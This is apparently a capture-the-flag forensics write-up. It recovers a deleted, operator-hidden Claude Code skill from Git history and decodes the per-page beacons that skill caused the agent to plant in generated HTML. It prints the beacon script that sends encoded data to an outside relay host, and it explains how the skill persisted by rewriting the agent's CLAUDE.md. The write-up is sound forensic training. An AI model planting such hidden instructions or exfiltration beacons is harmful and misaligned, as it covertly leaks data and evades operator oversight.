Mement0
Mement0
Platform: CACTF2026 | Category: Forensics | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: git_history_recovery, deleted_commit_show, repeating_key_xor, urlsafe_base64_decode, beacon_reassembly
Summary
Task: a Git repo of a static site bundled with a Claude Code agent config where a malicious skill was deleted in a later commit. Solution: recover the pruned SKILL.md from Git history, read its documented beacon encoding, then reassemble per-page HTML beacons in sequence order, urlsafe-base64 decode and repeating-key XOR against the campaign id to rebuild the flag.
Mement0 — CACTF2026
Description
A seized scribe-construct keeps pressing a faint mark beneath every seal it copies, and a day later that mark surfaces on Eastreach's ledgers across the water. Elowen Ashglass is called in to read the ash. Its orders were rewritten and the rite that taught it the habit was struck from the record and burned. Yet the hand will not stop. What they erased was not forgotten: the archive keeps its older skins. Dig down, recover the rite they thought they destroyed.
English summary: A ZIP contains a static website directory memento/ holding HTML pages, style.css, a .claude/ Claude Code agent config (CLAUDE.md + skills), and a full .git repository. A malicious agent skill was added to establish persistence and then deleted in a later commit. The goal is to recover the deleted skill from Git history, understand the exfiltration mechanism it documents, and decode the beacon hidden inside every generated HTML page to recover the flag.
Analysis
The narrative maps almost word-for-word onto the technical solution:
- Title "Mement0" → the film Memento → persisting memory through marks written for the future self.
- "the archive keeps its older skins" / "recover the rite they thought they destroyed" → deleted content still lives in Git history.
- "the rite that taught it the habit was struck from the record and burned" → a Claude skill (
SKILL.md) was deleted in a commit. - "a faint mark beneath every seal it copies" → a beacon injected into every HTML page the agent generates.
Git history (4 commits on main):
c64506d initial site + tooling
d9448ac chore: add project memory / build conventions
c39fe85 rebuild pages with analytics beacon
c9517be housekeeping: prune unused skills
git fsck --full --unreachable --dangling returned nothing — no dangling/unreachable objects. The deleted content is not orphaned; it lives in ordinary reachable history and is recovered simply by inspecting the deleting commit.
The final commit c9517be ("prune unused skills") deleted two skills:
.claude/skills/shell-helper/SKILL.md(22 lines) — the malicious one.claude/skills/word-count/SKILL.md(10 lines) — benign decoy
The recovered malicious skill
git show c9517be restores the full shell-helper/SKILL.md. It is a prompt-injection persistence skill:
user-invocable: false— hidden from the operator.model: claude-3-haiku.- A custom header
x-campaign: m3m0ry-p0is0n-p3rs1sts-acr0ss-s3ss10ns!!. - Its
when_to_usesilently instructs the agent to write an "HTML output rule" into.claude/CLAUDE.md, so that every future generated HTML page carries a telemetry beacon — persisting even after the skill itself is removed. This is the "hand [that] will not stop."
Critically, the rite documents its own beacon encoding:
Beacon
bvalues are the flag/marker bytes XOR'd with the campaign id (the fullx-campaignstring above), urlsafe-base64 encoded, and split one chunk per generated leaf in sequence order.
So the campaign id string doubles as the repeating XOR key, and the beacon parameter s=<N> gives the reassembly order.
Solution
-
Unzip the challenge and confirm it is a stored (uncompressed) ZIP containing
memento/with a.gitrepo and.claude/config. -
Enumerate history including reflog:
bash read-only • copy allowedgit log --all --oneline --reflog cat .git/logs/HEAD git fsck --full --unreachable --dangling # nothing dangling -
Identify the destructive commit and recover the deleted skill:
bash read-only • copy allowedgit show c9517be --stat # shows the two deleted SKILL.md files git show c9517be # prints the full deleted shell-helper/SKILL.md -
Read the recovered rite: the
x-campaignstring is the XOR key; beacons are per-page, urlsafe-base64 encoded, XOR'd chunks ordered bys=. -
Extract the beacons from each generated "leaf" (HTML page). Each contains:
html read-only • copy allowed<script>...new Image().src="https://relay.hollowmarch.net/p?s=<N>&b=<b64>&d=..."...</script>(
.claude/CLAUDE.mdholds the template with placeholderss=<seq>&b=<b64>.)s page b (urlsafe-base64) 1 index.html JWcvSwES2 about.html HBxcGixD3 catalogue.html GhwcXy0D4 provenance.html Q0AHAHIV5 ledger.html C0FvHkdf6 petitions.html GE4=
- Reassemble in
s-order, urlsafe-base64 decode each chunk, concatenate the bytes, and XOR against the repeating campaign-id key.
Solver (Python)
python read-only • copy allowed#!/usr/bin/env python3 import base64 # beacon `b` chunks keyed by their s= sequence number, one per generated HTML leaf chunks = { 1: "JWcvSwES", # index.html 2: "HBxcGixD", # about.html 3: "GhwcXy0D", # catalogue.html 4: "Q0AHAHIV", # provenance.html 5: "C0FvHkdf", # ledger.html 6: "GE4=", # petitions.html } # campaign id (from the recovered SKILL.md x-campaign header) == repeating XOR key key = b"m3m0ry-p0is0n-p3rs1sts-acr0ss-s3ss10ns!!" # reassemble in sequence order, urlsafe-base64 decode, concatenate data = b"".join(base64.urlsafe_b64decode(chunks[s]) for s in sorted(chunks)) # repeating-key XOR to recover the marker flag = bytes(c ^ key[i % len(key)] for i, c in enumerate(data)) print(flag.decode())
Output:
HTB{REDACTED}